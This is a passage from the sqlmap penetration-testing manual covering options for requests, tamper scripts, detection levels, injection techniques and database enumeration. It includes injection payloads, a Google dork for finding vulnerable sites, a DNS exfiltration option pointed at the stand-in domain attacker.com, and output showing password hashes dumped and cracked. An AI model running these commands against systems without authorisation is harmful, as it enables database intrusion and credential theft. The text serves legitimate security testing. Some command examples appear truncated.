This option makes sqlmap negotiate with the search engine its session cookie to be able to perform a search, then sqlmap will retrieve Google first 100 results for the Google dork expression with `GET` parameters asking you if you want to test and inject on each possible affected URL.

For example:

```
python sqlmap.py -g "inurl:\".php?id=1\""
```

6.2.7 Load options from a configuration INI file

Option: `-c`

It is possible to pass user's options from a configuration INI file, an example is `sqlmap.conf`.

Note that if you provide other options from command line, those are evaluated when running sqlmap and overwrite those provided in the configuration file.

6.3 Request

These options can be used to specify how to connect to the target URL.

6.3.1 HTTP data

Option: `--data`

By default the HTTP method used to perform HTTP requests is `GET`, but you can implicitly change it to `POST` by providing the data to be sent in the `POST` requests. Such data, being those parameters, are tested for SQL injection as well as any provided `GET` parameters.

For example:

```
python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users
```

6.3.2 Parameter splitting character

Option: `--param-del`

There are cases when default parameter delimiter (e.g. `&` in GET and POST data) needs to be overwritten for sqlmap to be able to properly split and process each parameter separately.

For example:

```
python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=
```

6.3.3 HTTP `Cookie` header

TODO: needs updating.

Switches: `--cookie`, `--load-cookies` and `--drop-set-cookie`

These switches can be useful in two ways:

- The web application requires authentication based upon cookies and you have such data.
- You want to detect and exploit SQL injection on such header values.

Either reason brings you to need to send cookies with sqlmap requests, the steps to go through are the following:

- Login to the application with your favourite browser.
- Get the HTTP Cookie from the browser's preferences or from the HTTP proxy screen and copy to the clipboard.
- Go back to your shell and run sqlmap by pasting your clipboard as the argument of the `--cookie` switch.

Note that the HTTP `Cookie` header values are usually separated by a `;` character, **not** by an `&`. sqlmap can recognize these as separate sets of `parameter=value` too, as well as GET and POST parameters.

If at any time during the communication, the web application responds with `Set-Cookie` headers, sqlmap will automatically use its value in all further HTTP requests as the `Cookie` header. sqlmap will also automatically test those values for SQL injection. This can be avoided by providing the switch `--drop-set-cookie` - sqlmap will ignore any coming `Set-Cookie` header.

Vice versa, if you provide a HTTP `Cookie` header with `--cookie` switch and the target URL sends an HTTP `Set-Cookie` header at any time, sqlmap will ask you which set of cookies to use for the following HTTP requests.

Note that also the HTTP `Cookie` header is tested against SQL injection if the `--level` is set to **2** or above. Read below for details.

6.3.4 HTTP `User-Agent` header

Option and switch: `--user-agent` and `--random-agent`

By default sqlmap performs HTTP requests with the following `User-Agent` header value:

```
sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)
```

However, it is possible to fake it with the `--user-agent` switch by providing custom User-Agent as the switch argument.

Moreover, by providing the `--random-agent` switch, sqlmap will randomly select a `User-Agent` from the `./txt/user-agents.txt` textual file and use it for all HTTP requests within the session.

Some sites perform a server-side check of HTTP `User-Agent` header value and fail the HTTP response if a valid `User-Agent` is not provided, its value is not expected or is blacklisted by a web application firewall or similar intrusion prevention system. In this case sqlmap will show you a message as follows:

```
[hh:mm:20] [ERROR] the target URL responded with an unknown HTTP status code, try to
force the HTTP User-Agent header with option --user-agent or --random-agent
```

Note that also the HTTP `User-Agent` header is tested against SQL injection if the `--level` is set to **3** or above. Read below for details.

6.3.5 HTTP `Host` header

Option: `--host`

You can manually set HTTP `Host` header value. By default HTTP `Host` header is parsed from a provided target URL.

Note that also the HTTP `Host` header is tested against SQL injection if the `--level` is set to **5**. Read below for details.

6.3.6 HTTP `Referer` header

Option: `--referer`

It is possible to fake the HTTP `Referer` header value. By default **no** HTTP `Referer` header is sent in HTTP requests if not explicitly set.

Note that also the HTTP `Referer` header is tested against SQL injection if the `--level` is set to **3** or above. Read below for details.

6.3.7 Extra HTTP headers

Option: `--headers`

It is possible to provide extra HTTP headers by setting the `--headers` switch. Each header must be separated by a newline and it is much easier to provide them from the configuration INI file. Have a look at the sample `sqlmap.conf` file for an example.

6.3.8 HTTP protocol authentication

Options: `--auth-type` and `--auth-cred`

These options can be used to specify which HTTP protocol authentication back-end web server implements and the valid credentials to be used to perform all HTTP requests to the target application.

The three supported HTTP protocol authentication mechanisms are:

- `Basic`
- `Digest`
- `NTLM`

While the credentials' syntax is `username:password`.

Example of valid syntax:

```
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" \
--auth-type Basic --auth-cred "testuser:testpass"
```

6.3.9 HTTP protocol certificate authentication

Option: `--auth-cert`

This switch should be used in cases when the web server requires proper client-side certificate for authentication. Supplied values should be in the form: `key_file,cert_file`, where `key_file` should be the name of a PEM formatted file that contains your private key, while `cert_file` should be the name for a PEM formatted certificate chain file.

6.3.10 HTTP(S) proxy

Options and switch: `--proxy`, `--proxy-cred` and `--ignore-proxy`

It is possible to provide an HTTP(S) proxy address to pass by the HTTP(S) requests to the target URL with option `--proxy`. The syntax of HTTP(S) proxy value is `http://url:port`.

If the HTTP(S) proxy requires authentication, you can provide the credentials in the format `username:password` to the `--proxy-cred` switch.

Switch `--ignore-proxy` should be used when you want to run sqlmap against a target part of a local area network by ignoring the system-wide set HTTP(S) proxy server setting.

6.3.11 Tor anonymity network

Options and switches: `--tor`, `--tor-port`, `--tor-type` and `--check-tor`

If, for any reason, you need to stay anonymous, instead of passing by a single predefined HTTP(S) proxy server, you can configure a Tor client together with Privoxy (or similar) on your machine as explained in Tor installation guides. Then you can use a switch `--tor` and sqlmap will try to automatically set Tor proxy connection settings.

In case that you want to manually set the type and port of used Tor proxy, you can do it with options `--tor-type` and `--tor-port` (e.g. `--tor-type=SOCKS5 --tor-port 9050`).

You are strongly advised to use `--check-tor` occasionally to be sure that everything was set up properly. There are cases when Tor bundles (e.g. Vidalia) come misconfigured (or reset previously set configuration) giving you a false sense of anonymity. Using this switch sqlmap will check that everything works as expected by sending a single request to an official Are you using Tor? page before any target requests. In case that check fails, sqlmap will warn you and abruptly exit.

6.3.12 Delay between each HTTP request

Option: `--delay`

It is possible to specify a number of seconds to hold between each HTTP(S) request. The valid value is a float, for instance `0.5` means half a second. By default, no delay is set.

6.3.13 Seconds to wait before timeout connection

Option: `--timeout`

It is possible to specify a number of seconds to wait before considering the HTTP(S) request timed out. The valid value is a float, for instance 10.5 means ten seconds and a half. By default **30 seconds** are set.

6.3.14 Maximum number of retries when the HTTP connection timeouts

Option: `--retries`

It is possible to specify the maximum number of retries when the HTTP(S) connection timeouts. By default it retries up to **three times**.

6.3.15 Randomly change value for given parameter(s)

Option: `--randomize`

It is possible to specify parameter names whose values you want to be randomly changed during each request. Length and type are being kept according to provided original values.

6.3.16 Filtering targets from provided proxy log using regular expression

Option: `--scope`

Rather than using all hosts parsed from provided logs with switch `-l`, you can specify valid Python regular expression to be used for filtering desired ones.

Example of valid syntax:

```
$ python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"
```

6.3.17 Avoid your session to be destroyed after too many unsuccessful requests

Options: `--safe-url` and `--safe-freq`

Sometimes web applications or inspection technology in between destroys the session if a certain number of unsuccessful requests is performed. This might occur during the detection phase of sqlmap or when it exploits any of the blind SQL injection types. Reason why is that the SQL payload does not necessarily

returns output and might therefore raise a signal to either the application session management or the inspection technology.

To bypass this limitation set by the target, you can provide two options:

- `--safe-url`: URL address to visit frequently during testing.
- `--safe-freq`: Test requests between two visits to a given safe URL.

This way, sqlmap will visit every a predefined number of requests a certain *safe* URL without performing any kind of injection against it.

6.3.18 Turn off URL encoding of parameter values

Switch: `--skip-urlencode`

Depending on parameter placement (e.g. GET) its value could be URL encoded by default. In some cases, back-end web servers do not follow RFC standards and require values to be send in their raw non-encoded form. Use `--skip-urlencode` in those kind of cases.

6.3.19 Evaluate custom python code during each request

Option: `--eval`

In case that user wants to change (or add new) parameter values, most probably because of some known dependency, he can provide to sqlmap a custom python code with option `--eval` that will be evaluated just before each request.

For example:

```
python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f758
```

Each request of such run will re-evaluate value of GET parameter `hash` to contain a fresh MD5 hash digest for current value of parameter `id`.

6.4 Optimization

These switches can be used to optimize the performance of sqlmap.

6.4.1 Bundle optimization

Switch: `-o`

This switch is an alias that implicitly sets the following options and switches:

- `--keep-alive`
- `--null-connection`
- `--threads=3` if not set to a higher value.

Read below for details about each switch.

6.4.2 Output prediction

Switch: `--predict-output`

This switch is used in inference algorithm for sequential statistical prediction of characters of value being retrieved. Statistical table with the most promising character values is being built based on items given in `txt/common-outputs.txt` combined with the knowledge of current enumeration used. In case that the value can be found among the common output values, as the process progresses, subsequent character tables are being narrowed more and more. If used in combination with retrieval of common DBMS entities, as with system table names and privileges, speed up is significant. Of course, you can edit the common outputs file according to your needs if, for instance, you notice common patterns in database table names or similar.

Note that this switch is not compatible with `--threads` switch.

6.4.3 HTTP Keep-Alive

Switch: `--keep-alive`

This switch instructs sqlmap to use persistent HTTP(s) connections.

Note that this switch is incompatible with `--proxy` switch.

6.4.4 HTTP NULL connection

Switch: `--null-connection`

There are special HTTP request types which can be used to retrieve HTTP response's size without getting the HTTP body. This knowledge can be used in blind injection technique to distinguish `True` from `False` responses. When this switch is provided, sqlmap will try to test and exploit two different *NULL*

connection techniques: `Range` and `HEAD`. If any of these is supported by the target web server, speed up will come from the obvious saving of used bandwidth.

These techniques are detailed in the white paper Bursting Performances in Blind SQL Injection - Take 2 (Bandwidth).

Note that this switch is incompatible with switch `--text-only`.

6.4.5 Concurrent HTTP(S) requests

Switch: `--threads`

It is possible to specify the maximum number of concurrent HTTP(S) requests that sqlmap is allowed to do. This feature relies on multi-threading concept and inherits both its pro and its cons.

This features applies to the brute-force switches and when the data fetching is done through any of the blind SQL injection techniques. For the latter case, sqlmap first calculates the length of the query output in a single thread, then starts the multi-threading. Each thread is assigned to retrieve one character of the query output. The thread ends when that character is retrieved - it takes up to 7 HTTP(S) requests with the bisection algorithm implemented in sqlmap.

The maximum number of concurrent requests is set to **10** for performance and site reliability reasons.

Note that this switch is not compatible with `--predict-output` switch.

6.5 Injection

These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts.

6.5.1 Testable parameter(s)

Options: `-p` and `--skip`

By default sqlmap tests all `GET` parameters and `POST` parameters. When the value of `--level` is >= **2** it tests also HTTP `Cookie` header values. When this value is >= **3** it tests also HTTP `User-Agent` and HTTP `Referer` header value for SQL injections. It is however possible to manually specify a comma-separated list of parameter(s) that you want sqlmap to test. This will bypass the dependence on value of `--level` too.

For instance, to test for GET parameter `id` and for HTTP `User-Agent` only, provide `-p "id,user-agent"`.

In case that user wants to exclude certain parameters from testing, he can use option `--skip`. That is especially useful in cases when you want to use higher value for `--level` and test all available parameters excluding some of HTTP headers normally being tested.

For instance, to skip testing for HTTP header `User-Agent` and HTTP header `Referer` at `--level=5`, provide `--skip="user-agent,referer"`.

URI injection point There are special cases when injection point is within the URI itself. sqlmap does not perform any automatic test against URI paths, unless manually pointed to. You have to specify these injection points in the command line by appending an asterisk (`*`) after each URI point that you want sqlmap to test for and exploit a SQL injection.

This is particularly useful when, for instance, Apache web server's mod_rewrite module is in use or other similar technologies.

An example of valid command line would be:

```
$ python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"
```

6.5.2 Force the DBMS

Option: `--dbms`

By default sqlmap automatically detects the web application's back-end database management system. sqlmap fully supports the following database management systems:

- MySQL
- Oracle
- PostgreSQL
- Microsoft SQL Server
- Microsoft Access
- SQLite
- Firebird
- Sybase
- SAP MaxDB
- DB2

If for any reason sqlmap fails to detect the back-end DBMS once a SQL injection has been identified or if you want to avoid an active fingeprint, you can provide the name of the back-end DBMS yourself (e.g. `postgresql`). For MySQL and Microsoft SQL Server provide them respectively in the form `MySQL <version>` and `Microsoft SQL Server <version>`, where `<version>` is a valid version for the DBMS; for instance `5.0` for MySQL and `2005` for Microsoft SQL Server.

In case you provide `--fingerprint` together with `--dbms`, sqlmap will only perform the extensive fingerprint for the specified database management system only, read below for further details.

Note that this option is **not** mandatory and it is strongly recommended to use it **only if you are absolutely sure** about the back-end database management system. If you do not know it, let sqlmap automatically fingerprint it for you.

6.5.3 Force the database management system operating system name

Option: `--os`

By default sqlmap automatically detects the web application's back-end database management system underlying operating system when this information is a dependence of any other provided switch. At the moment the fully supported operating systems are two:

- Linux
- Windows

It is possible to force the operating system name if you already know it so that sqlmap will avoid doing it itself.

Note that this option is **not** mandatory and it is strongly recommended to use it **only if you are absolutely sure** about the back-end database management system underlying operating system. If you do not know it, let sqlmap automatically identify it for you.

6.5.4 Force usage of big numbers for invalidating values

Switch: `--invalid-bignum`

In cases when sqlmap needs to invalidate original parameter value (e.g. `id=13`) it uses classical negation (e.g. `id=-13`). With this switch it is possible to force the usage of large integer values to fulfill the same goal (e.g. `id=99999999`).

6.5.5 Force usage of logical operations for invalidating values

Switch: `--invalid-logical`

In cases when sqlmap needs to invalidate original parameter value (e.g. `id=13`) it uses classical negation (e.g. `id=-13`). With this switch it is possible to force the usage of boolean operations to fulfill the same goal (e.g. `id=13 AND 18=19`).

6.5.6 Turn off payload casting mechanism

Switch: `--no-cast`

When retrieving results, sqlmap uses a mechanism where all entries are being casted to string type and replaced with a whitespace character in case of `NULL` values. That is being made to prevent any erroneous states (e.g. concatenation of `NULL` values with string values) and to easy the data retrieval process itself. Nevertheless, there are reported cases (e.g. older versions of MySQL DBMS) where this mechanism needed to be turned-off (using this switch) because of problems with data retrieval itself (e.g. `None` values are returned back).

6.5.7 Turn off string escaping mechanism

Switch: `--no-escape`

In cases when sqlmap needs to use (single-quote delimited) string values inside payloads (e.g. `SELECT 'foobar'`), those values are automatically being escaped (e.g. `SELECT CHAR(102)+CHAR(111)+CHAR(111)+CHAR(98)+CHAR(97)+CHAR(114)`). That is being done because of two things: obfuscation of payload content and preventing potential problems with query escaping mechanisms (e.g. `magic_quotes` and/or `mysql_real_escape_string`) at the back-end server. User can use this switch to turn it off (e.g. to reduce payload size).

6.5.8 Custom injection payload

Options: `--prefix` and `--suffix`

In some circumstances the vulnerable parameter is exploitable only if the user provides a specific suffix to be appended to the injection payload. Another scenario where these options come handy presents itself when the user already knows that query syntax and want to detect and exploit the SQL injection by directly providing a injection payload prefix and suffix.

Example of vulnerable source code:

```
$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";
```

To detect and exploit this SQL injection, you can either let sqlmap detect the **boundaries** (as in combination of SQL payload prefix and suffix) for you during the detection phase, or provide them on your own.

For example:

```
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" \
-p id --prefix "')" --suffix "AND ('abc'='abc"
[...]
```

This will result in all sqlmap requests to end up in a query as follows:

```
$query = "SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1";
```

Which makes the query syntactically correct.

In this simple example, sqlmap could detect the SQL injection and exploit it without need to provide custom boundaries, but sometimes in real world application it is necessary to provide it when the injection point is within nested `JOIN` queries for instance.

6.5.9 Tamper injection data

Option: `--tamper`

sqlmap itself does no obfuscation of the payload sent, except for strings between single quotes replaced by their `CHAR()`-alike representation.

This switch can be very useful and powerful in situations where there is a weak input validation mechanism between you and the back-end database management system. This mechanism usually is a self-developed input validation routine called by the application source code, an expensive enterprise-grade IPS appliance or a web application firewall (WAF). All buzzwords to define the same concept, implemented in a different way and costing lots of money, usually.

To take advantage of this switch, provide sqlmap with a comma-separated list of tamper scripts and this will process the payload and return it transformed. You can define your own tamper scripts, use sqlmap ones from the `tamper/` folder or edit them as long as you concatenate them comma-separated as the argument of `--tamper` switch.

The format of a valid tamper script is as follows:

```
# Needed imports
from lib.core.enums import PRIORITY

# Define which is the order of application of tamper scripts against
```

```
# the payload
__priority__ = PRIORITY.NORMAL

def tamper(payload):
    '''
    Description of your tamper script
    '''

    retVal = payload

    # your code to tamper the original payload

    # return the tampered payload
    return retVal
```

You can check valid and usable tamper scripts in the `tamper/` directory.

Example against a MySQL target assuming that `>` character, spaces and capital `SELECT` string are banned:

```
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper \
tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

[hh:mm:03] [DEBUG] cleaning up configuration parameters
[hh:mm:03] [INFO] loading tamper script 'between'
[hh:mm:03] [INFO] loading tamper script 'randomcase'
[hh:mm:03] [INFO] loading tamper script 'space2comment'
[...]
[hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092
[hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057
[hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041
[...]
[hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONCAT(cHar(
58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/**/elsE/**/0/**/
ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/information_schema.tables/**/
group/**/bY/**/x)a)
[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING
clause' injectable
[...]
```

6.6 Detection

These options can be used to customize the detection phase.

6.6.1 Level

Option: `--level`

This switch requires an argument which specifies the level of tests to perform. There are **five** levels. The default value is **1** where limited number of tests (requests) are performed. Vice versa, level **5** will test verbosely for a much larger number of payloads and boundaries (as in pair of SQL payload prefix and suffix). The payloads used by sqlmap are specified in the textual file `xml/payloads.xml`. Following the instructions on top of the file, if sqlmap misses an injection, you should be able to add your own payload(s) to test for too!

Not only this switch affects which payload sqlmap tries, but also which injection points are taken in exam: GET and POST parameters are **always** tested, HTTP Cookie header values are tested from level **2** and HTTP User-Agent/Referer headers' value is tested from level **3**.

All in all, the harder it is to detect a SQL injection, the higher the `--level` must be set.

It is strongly recommended to higher this value before reporting to the mailing list that sqlmap is not able to detect a certain injection point.

6.6.2 Risk

Option: `--risk`

This switch requires an argument which specifies the risk of tests to perform. There are **four** risk values. The default value is **1** which is innocuous for the majority of SQL injection points. Risk value 2 adds to the default level the tests for heavy query time-based SQL injections and value 3 adds also `OR`-based SQL injection tests.

In some instances, like a SQL injection in an `UPDATE` statement, injecting an `OR`-based payload can lead to an update of all the entries of the table, which is certainly not what the attacker wants. For this reason and others this switch has been introduced: the user has control over which payloads get tested, the user can arbitrarily choose to use also potentially dangerous ones. As per the previous switch, the payloads used by sqlmap are specified in the textual file `xml/payloads.xml` and you are free to edit and add your owns.

6.6.3 Page comparison

Options: `--string`, `--not-string`, `--regexp` and `--code`

By default the distinction of a `True` query from a `False` one (rough concept behind boolean-based blind SQL injection vulnerabilities) is done by comparing the injected requests page content with the original not injected page content.

Not always this concept works because sometimes the page content changes at each refresh even not injecting anything, for instance when the page has a counter, a dynamic advertisement banner or any other part of the HTML which is rendered dynamically and might change in time not only consequently to user's input. To bypass this limit, sqlmap tries hard to identify these snippets of the response bodies and deal accordingly. Sometimes it may fail, that is why the user can provide a string (`--string` option) which is **always** present on original page **and** on all True injected query pages, but that it is **not** on the False ones. Instead of static string, the user can provide a regular expression (`--regexp` option). Alternatively, user can provide a string (`--not-string` option) which is **not** present on original page **and** not on all True injected query pages, but appears **always** on False ones.

Such data is easy for an user to retrieve, simply try to inject into the affected parameter an invalid value and compare manually the original (not injected) page content with the injected wrong page content. This way the distinction will be based upon string presence or regular expression match.

In cases when user knows that the distinction of a `True` query from a `False` one can be done using HTTP code (e.g. `200` for `True` and `401` for `False`), he can provide that information to sqlmap (e.g. `--code=200`).

Switches: `--text-only` and `--titles`

In cases when user knows that the distinction of a `True` query from a `False` one can be done using HTML title (e.g. `Welcome` for `True` and `Forbidden` for `False`), he can turn turn on title-based comparison using switch `--titles`.

In cases with lot of active content (e.g. scripts, embeds, etc.) in the HTTP responses' body, you can filter pages (`--text-only` switch) just for their textual content. This way, in a good number of cases, you can automatically tune the detection engine.

6.7 Techniques

These options can be used to tweak testing of specific SQL injection techniques.

6.7.1 SQL injection techniques to test for

Option: `--technique`

This switch can be used to specify which SQL injection type to test for. By default sqlmap tests for **all** types/techniques it supports.

In certain situations you may want to test only for one or few specific types of SQL injection thought and this is where this switch comes into play.

This switch requires an argument. Such argument is a string composed by any combination of `B`, `E`, `U`, `S`, `T` and `Q` characters where each letter stands for a different technique:

- `B`: Boolean-based blind
- `E`: Error-based
- `U`: Union query-based
- `S`: Stacked queries
- `T`: Time-based blind
- `Q`: Inline queries

For instance, you can provide `ES` if you want to test for and exploit error-based and stacked queries SQL injection types only. The default value is `BEUSTQ`.

Note that the string must include stacked queries technique letter, `S`, when you want to access the file system, takeover the operating system or access Windows registry hives.

6.7.2 Seconds to delay the DBMS response for time-based blind SQL injection

Option: `--time-sec`

It is possible to set the seconds to delay the response when testing for time-based blind SQL injection, by providing the `--time-sec` option followed by an integer. By default it's value is set to **5 seconds**.

6.7.3 Number of columns in UNION query SQL injection

Option: `--union-cols`

By default sqlmap tests for UNION query SQL injection technique using 1 to 10 columns. However, this range can be increased up to 50 columns by providing an higher `--level` value. See the relevant paragraph for more details.

You can manually tell sqlmap to test for this type of SQL injection with a specific range of columns by providing the tool with the `--union-cols` switch followed by a range of integers. For instance, `12-16` means tests for UNION query SQL injection by using 12 up to 16 columns.

6.7.4 Character to use to test for UNION query SQL injection

Option: `--union-char`

By default sqlmap tests for UNION query SQL injection technique using `NULL` character. However, by providing a higher `--level` value sqlmap will performs tests also with a random number because there are some corner cases where UNION query tests with `NULL` fail, whereas with a random integer they succeed.

You can manually tell sqlmap to test for this type of SQL injection with a specific character by using option `--union-char` with desired character value (e.g. `--union-char 123`).

6.7.5 Table to use in FROM part of UNION query SQL injection

Option: `--union-from`

TODO: needs updating.

6.7.6 DNS exfiltration attack

Option: `--dns-domain`

DNS exfiltration SQL injection attack is described in paper Data Retrieval over DNS in SQL Injection Attacks, while presentation of it's implementation inside sqlmap can be found in slides DNS exfiltration using sqlmap.

If user is controlling a machine registered as a DNS domain server (e.g. domain `attacker.com`) he can turn on this attack by using this option (e.g. `--dns-domain attacker.com`). Prerequisites for it to work is to run a sqlmap with `Administrator` privileges (usage of privileged port `53`) and that one normal (blind) technique is available for exploitation. That's solely the purpose of this attack is to speed up the process of data retrieval in case that at least one technique has been identified (in best case time-based blind). In case that error-based blind or UNION query techniques are available it will be skipped as those are preferred ones by default.

6.7.7 Second-order attack

Option: `--second-order`

Second-order SQL injection attack is an attack where result(s) of an injected payload in one vulnerable page is shown (reflected) at the other. Usually that's happening because of database storage of user provided input at the original vulnerable page.

You can manually tell sqlmap to test for this type of SQL injection by using option `--second-order` with the URL address of the web page where results are being shown.

6.8 Fingerprint

6.8.1 Extensive database management system fingerprint

Switches: `-f` or `--fingerprint`

By default the web application's back-end database management system fingerprint is handled automatically by sqlmap. Just after the detection phase finishes and the user is eventually prompted with a choice of which vulnerable parameter to use further on, sqlmap fingerprints the back-end database management system and continues on with the injection by knowing which SQL syntax, dialect and queries to use to proceed with the attack within the limits of the database architecture.

If for any instance you want to perform an extensive database management system fingerprint based on various techniques like specific SQL dialects and inband error messages, you can provide the `--fingerprint` switch. sqlmap will perform a lot more requests and fingerprint the exact DBMS version and, where possible, operating system, architecture and patch level.

If you want the fingerprint to be even more accurate result, you can also provide the `-b` or `--banner` switch.

6.9 Enumeration

These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements.

6.9.1 Retrieve all

Switch: `--all`

TODO: needs updating.

6.9.2 Banner

Switch: `-b` or `--banner`

Most of the modern database management systems have a function and/or an environment variable which returns the database management system version

and eventually details on its patch level, the underlying system. Usually the function is `version()` and the environment variable is `@@version`, but this vary depending on the target DBMS.

6.9.3 Session user

Switch: `--current-user`

On majority of modern DBMSes is possible to retrieve the database management system's user which is effectively performing the query against the back-end DBMS from the web application.

6.9.4 Current database

Switch: `--current-db`

It is possible to retrieve the database management system's database name that the web application is connected to.

6.9.5 Server hostname

Switch: `--hostname`

TODO: needs updating.

6.9.6 Detect whether or not the session user is a database administrator

Switch: `--is-dba`

It is possible to detect if the current database management system session user is a database administrator, also known as DBA. sqlmap will return `True` if it is, viceversa `False`.

6.9.7 List database management system users

Switch: `--users`

When the session user has read access to the system table containing information about the DBMS users, it is possible to enumerate the list of users.

6.9.8 List and crack database management system users password hashes

Switches: `--passwords` and `-U`

When the session user has read access to the system table containing information about the DBMS users' passwords, it is possible to enumerate the password hashes for each database management system user. sqlmap will first enumerate the users, then the different password hashes for each of them.

Example against a PostgreSQL target:

```
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v

[...]
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:
    password hash: md5d7d880f96044b72d0bba108ace96d1e4
    clear-text password: testpass
[*] testuser [1]:
    password hash: md599e5ea7a6f7c3269995cba3927fd0093
    clear-text password: testpass
```

Not only sqlmap enumerated the DBMS users and their passwords, but it also recognized the hash format to be PostgreSQL, asked the user whether or not to test the hashes against a dictionary file and identified the clear-text password for the `postgres` user, which is usually a DBA along the other user, `testuser`, password.

This feature has been implemented for all DBMS where it is possible to enumerate users' password hashes, including Oracle and Microsoft SQL Server pre and post 2005.

You can also provide the `-U` option to specify the specific user who you want to enumerate and eventually crack the password hash(es). If you provide `CU` as username it will consider it as an alias for current user and will retrieve the password hash(es) for this user.

6.9.9 List database management system users privileges

Switches: `--privileges` and `-U`

When the session user has read access to the system table containing information about the DBMS users, it is possible to enumerate the privileges for each database management system user. By the privileges, sqlmap will also show you which are database administrators.

You can also provide the `-U` option to specify the user who you want to enumerate the privileges.

If you provide `CU` as username it will consider it as an alias for current user and will enumerate the privileges for this user.

On Microsoft SQL Server, this feature will display you whether or not each user is a database administrator rather than the list of privileges for all users.

6.9.10 List database management system users roles

Switches: `--roles` and `-U`

When the session user has read access to the system table containing information about the DBMS users, it is possible to enumerate the roles for each database management system user.

You can also provide the `-U` option to specify the user who you want to enumerate the privileges.

If you provide `CU` as username it will consider it as an alias for current user and will enumerate the privileges for this user.

This feature is only available when the DBMS is Oracle.

6.9.11 List database management system's databases

Switch: `--dbs`

When the session user has read access to the system table containing information about available databases, it is possible to enumerate the list of databases.

6.9.12 Enumerate database's tables

Switches: `--tables`, `-D` and `--exclude-sysdbs`

When the session user has read access to the system table containing information about databases' tables, it is possible to enumerate the list of tables for a specific database management system's databases.

If you do not provide a specific database with switch `-D`, sqlmap will enumerate the tables for all DBMS databases.

You can also provide the `--exclude-sysdbs` switch to exclude all system databases.

Note that on Oracle you have to provide the `TABLESPACE_NAME` instead of the database name.

6.9.13 Enumerate database table columns

Switch and options: `--columns`, `-C`, `-T` and `-D`

When the session user has read access to the system table containing information about database's tables, it is possible to enumerate the list of columns for a specific database table. sqlmap also enumerates the data-type for each column.

This feature depends on option `-T` to specify the table name and optionally on `-D` to specify the database name. When the database name is not specified, the current database name is used. You can also provide the `-C` option to specify the table columns name like the one you provided to be enumerated.

Example against a SQLite target:

```
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns \
-D testdb -T users -C name
[...]
Database: SQLite_masterdb
Table: users
[3 columns]
+---------+---------+
| Column  | Type    |
+---------+---------+
| id      | INTEGER |
| name    | TEXT    |
| surname | TEXT    |
+---------+---------+
```

Note that on PostgreSQL you have to provide `public` or the name of a system database. That's because it is not possible to enumerate other databases tables, only the tables under the schema that the web application's user is connected to, which is always aliased by `public`.

6.9.14 Enumerate database management system schema

Switche: `--schema` and `--exclude-sysdbs`

User can retrieve a DBMS schema by using this switch. Schema listing will contain all databases, tables and columns, together with their respective types. In combination with `--exclude-sysdbs` only part of the schema containing non-system databases will be retrieved and shown.

Example against a MySQL target:

```
$ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --schema --batch

[...]
Database: owasp10
Table: accounts
[4 columns]
+-------------+---------+
| Column      | Type    |
+-------------+---------+
| cid         | int(11) |
| mysignature | text    |
| password    | text    |
| username    | text    |
+-------------+---------+

Database: owasp10
Table: blogs_table
[4 columns]
+--------------+----------+
| Column       | Type     |
+--------------+----------+
| date         | datetime |
| blogger_name | text     |
| cid          | int(11)  |
| comment      | text     |
+--------------+----------+

Database: owasp10
Table: hitlog
[6 columns]
+----------+----------+
| Column   | Type     |
+----------+----------+
| date     | datetime |
| browser  | text     |
| cid      | int(11)  |
| hostname | text     |
| ip       | text     |
| referer  | text     |
```

```
+----------+----------+

Database: testdb
Table: users
[3 columns]
+---------+---------------+
| Column  | Type          |
+---------+---------------+
| id      | int(11)       |
| name    | varchar(500)  |
| surname | varchar(1000) |
+---------+---------------+
[...]
```

6.9.15 Retrieve number of entries for table(s)

Switch: `--count`

In case that user wants just to know the number of entries in table(s) prior to dumping the desired one, he can use this switch.

Example against a Microsoft SQL Server target:

```
$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -D t
[...]
Database: testdb
+----------------+---------+
| Table          | Entries |
+----------------+---------+
| dbo.users      | 4       |
| dbo.users_blob | 2       |
+----------------+---------+
```

6.9.16 Dump database table entries

